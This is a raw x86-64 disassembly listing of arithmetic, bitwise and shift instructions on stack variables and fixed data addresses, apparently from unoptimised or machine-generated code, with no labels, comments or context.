movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1024], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0xbd], al
movzx eax, byte [0x1401e700f]
movzx ecx, byte [rsp + 0xa5]
sub eax, ecx
mov rcx, qword [rsp + 0x9480]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x96d8], rax
mov eax, dword [rsp + 0x4e74]
mov ecx, dword [rsp + 0x4e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x9068]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a8], rax
mov eax, dword [rsp + 0x4cec]
mov dword [rsp + 0x4f20], eax
movzx eax, word [rsp + 0x10c4]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7054], ax
mov rax, qword [rsp + 0x91b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9240]
mov word [rcx], ax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x96e0], rax
mov rax, qword [rsp + 0x93b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9018]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov eax, dword [rsp + 0x4ea0]
mov rcx, qword [rsp + 0x96a8]
mov qword [rsp + 0x96e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e98], eax
mov eax, dword [rsp + 0x4e20]
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x90b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x9688]
movzx eax, word [rax]
mov word [0x1401e88f0], ax
movzx eax, word [0x1401e7034]
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x9550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
mov rax, qword [0x1401e8858]
movzx eax, word [rax]
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0x96c0]
mov rcx, qword [rsp + 0x9668]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9008]
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x8eb8]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x96d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9298]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e700d], al
mov rax, qword [rsp + 0x95a0]
movzx eax, word [rax]
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov rcx, qword [rsp + 0x9338]
mov byte [rcx], al
lea rax, [rsp + 0x108c]
mov qword [rsp + 0x96f8], rax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x9448]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x90d8]
mov rcx, qword [rsp + 0x9440]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
mov eax, dword [rsp + 0x4ef4]
mov dword [rsp + 0x4f28], eax
mov rax, qword [rsp + 0x9170]
mov rcx, qword [rsp + 0x94e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov eax, dword [rsp + 0x4e5c]
mov dword [rsp + 0x4f2c], eax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [0x1401e700e], al
movzx eax, word [0x1401e706c]
movzx ecx, word [rsp + 0xff8]
sub eax, ecx
mov word [rsp + 0x10d4], ax
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e87a2]
shl eax, cl
mov byte [rsp + 0xb2], al
movsx eax, word [rsp + 0x103c]
movsx ecx, word [rsp + 0x10f4]
xor eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
lea rax, [rsp + 0x8f70]
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8ed0]
mov qword [rsp + 0x9708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9708]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x9710], rax
mov eax, dword [rsp + 0x4efc]
mov ecx, dword [rsp + 0x4cbc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e4c], eax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [0x1401e8808]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9310]
mov byte [rcx], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [0x1401e7088], ax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1024]
add eax, ecx
mov rcx, qword [rsp + 0x9528]
mov word [rcx], ax
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0x9718], rax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4f2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [0x1401e7010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ebc]
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0x9040]
mov rcx, qword [rsp + 0x91d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0xc1], al
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0xad]
add eax, ecx
mov byte [0x1401e7027], al
movsx eax, word [rsp + 0x10e8]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov word [rsp + 0x10d0], ax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x9720], rax
movzx eax, word [rsp + 0x1060]
movzx ecx, word [rsp + 0x10b4]
sub eax, ecx
mov rcx, qword [rsp + 0x9528]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e9c]
movzx ecx, al
mov eax, dword [rsp + 0x4e24]
shl eax, cl
mov rcx, qword [rsp + 0x8ec0]
mov dword [rcx], eax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x4f34], eax
mov rax, qword [rsp + 0x9210]
mov rcx, qword [rsp + 0x90d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
lea rax, [rsp + 0x96f0]
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x8e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1010], ax
movzx eax, word [rsp + 0x1060]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e88c0], ax
mov rax, qword [rsp + 0x9660]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e700e]
and eax, ecx
mov byte [rsp + 0xa1], al
movzx eax, word [rsp + 0x1008]
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x9340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb3]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov qword [rsp + 0x9730], rax
mov eax, dword [rsp + 0x4f18]
mov ecx, dword [rsp + 0x4f24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x96d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc8], rax
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0x9738], rax
movzx eax, word [rsp + 0x1004]
movzx ecx, word [rsp + 0x10b4]
add eax, ecx
mov word [rsp + 0x106c], ax
movsx eax, word [rsp + 0x1050]
movsx ecx, word [rsp + 0x1070]
and eax, ecx
mov rcx, qword [0x1401e8820]
mov word [rcx], ax
movzx eax, byte [0x1401e8792]
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0x9558]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x87]
sub eax, ecx
mov byte [rsp + 0x7d], al
lea rax, [0x1401e7088]
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x94d0], rax
mov eax, dword [rsp + 0x4f00]
mov dword [rsp + 0x4f38], eax
mov eax, dword [rsp + 0x4f28]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea0], eax
lea rax, [rsp + 0x9730]
mov qword [rsp + 0x9748], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
xor eax, ecx
mov byte [0x1401e7032], al
mov rax, qword [rsp + 0x93f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e700d]
shl eax, cl
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x9688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1064], ax
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10fc]
or eax, ecx
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x4e64]
mov dword [rsp + 0x4f3c], eax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0x8e00]
movzx eax, byte [rax]
mov byte [0x1401e87a4], al
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov word [rsp + 0x1114], ax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0xad]
add eax, ecx
mov byte [rsp + 0xc2], al
movzx eax, byte [rsp + 0x84]
mov rcx, qword [0x1401e8818]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76], al
lea rax, [rsp + 0x4f38]
mov qword [rsp + 0x9760], rax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9168]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9080]
mov rax, qword [rax]
mov qword [rsp + 0x9768], rax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0x93d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ecc], eax
movsx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8797], al
lea rax, [0x1401e700f]
mov qword [rsp + 0x9770], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x1068]
sub eax, ecx
mov word [rsp + 0x10b8], ax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov byte [rsp + 0xbf], al
movzx eax, word [0x1401e7074]
mov word [rsp + 0x1118], ax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8af8]
shl rax, cl
mov rcx, qword [rsp + 0x94f0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e20]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cc4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8eb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9440]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x8f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
sar eax, cl
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
lea rax, [0x1401e7032]
mov qword [rsp + 0x9780], rax
movsx eax, word [rsp + 0x1080]
mov rcx, qword [rsp + 0x9740]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10bc], ax
lea rax, [rsp + 0x1060]
mov qword [rsp + 0x9788], rax
movzx eax, word [rsp + 0x10dc]
movzx ecx, word [rsp + 0x10c8]
sub eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0x9048]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0x9790], rax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4f40], eax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7033], al
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb8]
sub eax, ecx
mov byte [rsp + 0x76], al
movsx eax, byte [rsp + 0x97]
movsx ecx, byte [rsp + 0xb5]
sub eax, ecx
mov byte [rsp + 0x7a], al
movzx eax, word [rsp + 0x107c]
mov word [rsp + 0x111c], ax
movsx eax, word [rsp + 0x1110]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8dd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x4f44], eax
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x96a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b80]
mov qword [rsp + 0x9798], rax
mov rax, qword [rsp + 0x9728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bb8], rax
movzx eax, byte [rsp + 0xae]
movzx ecx, byte [0x1401e7022]
shl eax, cl
mov rcx, qword [0x1401e8850]
mov byte [rcx], al
movzx eax, word [rsp + 0x106c]
mov rcx, qword [rsp + 0x9788]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1038], ax
lea rax, [rsp + 0x73]
mov qword [rsp + 0x97a0], rax
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7023]
sar eax, cl
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x9220]
movzx eax, word [rax]
mov word [rsp + 0x1120], ax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f08], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9358]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e9c]
mov qword [rsp + 0x97a8], rax
mov rax, qword [rsp + 0x92c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9768]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9250]
mov qword [rcx], rax
mov rax, qword [0x1401e87d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9278]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e708c], ax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x9528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
mov rax, qword [0x1401e88c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0x104c]
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x9598]
mov rcx, qword [rsp + 0x9738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x90b8]
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9188]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e70], eax
mov rax, qword [0x1401e87c8]
movzx eax, word [rax]
mov word [rsp + 0x1124], ax
lea rax, [rsp + 0x1064]
mov qword [0x1401e88f8], rax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x84], al
lea rax, [rsp + 0x72]
mov qword [rsp + 0x97c0], rax
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1124], ax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0x97c8], rax
mov rax, qword [rsp + 0x9728]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ab0]
sar rax, cl
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x9398]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov dword [rsp + 0x4f48], eax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [0x1401e8794]
xor eax, ecx
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x91b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8880]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ff8]
movzx eax, byte [rax]
mov byte [rsp + 0xc4], al
mov rax, qword [rsp + 0x93b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b8]
and eax, ecx
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e98]
mov dword [rsp + 0x4f4c], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x93a0]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fe8], rax
movzx eax, byte [0x1401e8795]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov byte [rsp + 0xb4], al
movsx eax, word [rsp + 0x110c]
movsx ecx, word [rsp + 0x1110]
sub eax, ecx
mov word [0x1401e7068], ax
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0xc5], al
movzx eax, word [rsp + 0x10dc]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x107c], ax
movzx eax, byte [rsp + 0xbe]
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4edc], eax
lea rax, [rsp + 0x8ef8]
mov qword [rsp + 0x97d8], rax
mov rax, qword [rsp + 0x9318]
mov rcx, qword [rsp + 0x9170]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9130], rax
mov eax, dword [rsp + 0x4db4]
mov ecx, dword [rsp + 0x4f18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f44], eax
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov word [rsp + 0x1128], ax
lea rax, [rsp + 0x9e]
mov qword [0x1401e8900], rax
mov rax, qword [rsp + 0x95f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10ac]
or eax, ecx
mov word [rsp + 0x102c], ax
movzx eax, word [0x1401e8898]
mov word [rsp + 0x112c], ax
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [rsp + 0xaa]
shl eax, cl
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9448]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov qword [rsp + 0x97e0], rax
mov rax, qword [rsp + 0x95a8]
movzx ecx, al
mov rax, qword [rsp + 0x90d0]
sar rax, cl
mov qword [rsp + 0x9170], rax
mov eax, dword [rsp + 0x4eac]
mov dword [rsp + 0x4f50], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4e2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x8ae8]
movzx eax, word [rax]
mov word [0x1401e8908], ax
mov rax, qword [rsp + 0x9590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0x8c08]
movzx eax, byte [rax]
mov byte [rsp + 0xc7], al
movzx eax, word [rsp + 0x1004]
movzx ecx, word [rsp + 0x10c8]
add eax, ecx
mov word [rsp + 0x10f8], ax
movzx eax, word [rsp + 0x1030]
mov word [rsp + 0x1130], ax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x97c8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x8fc8]
mov qword [rsp + 0x97e8], rax
mov rax, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0x9140]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e34], eax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8e00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8792], al
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9718]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10ec], ax
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9340]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9280]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0x9138]
mov ecx, dword [rsp + 0x4e48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
sar eax, cl
mov rcx, qword [0x1401e87d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1054]
shl eax, cl
mov word [rsp + 0x1000], ax
mov rax, qword [0x1401e87b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
xor eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9518]
movzx eax, byte [rax]
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x9270]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
lea rax, [0x1401e7008]
mov qword [rsp + 0x9808], rax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9230]
mov qword [rcx], rax
lea rax, [rsp + 0x4ee4]
mov qword [rsp + 0x9810], rax
lea rax, [rsp + 0x91]
mov qword [0x1401e8910], rax
movsx eax, word [rsp + 0x100c]
movsx ecx, word [rsp + 0x1044]
add eax, ecx
mov word [rsp + 0x1050], ax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0xc9], al
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1054], ax
movzx eax, word [rsp + 0x10e8]
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0x9118]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9230]
mov rcx, qword [rsp + 0x8f40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x92a8], rax
lea rax, [rsp + 0x4e8c]
mov qword [rsp + 0x9818], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x90d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0x8e38]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7036], al
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov word [rsp + 0x1138], ax
movzx eax, byte [rsp + 0x9f]
mov rcx, qword [0x1401e88c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x97a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96e0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
mov word [rsp + 0x113c], ax
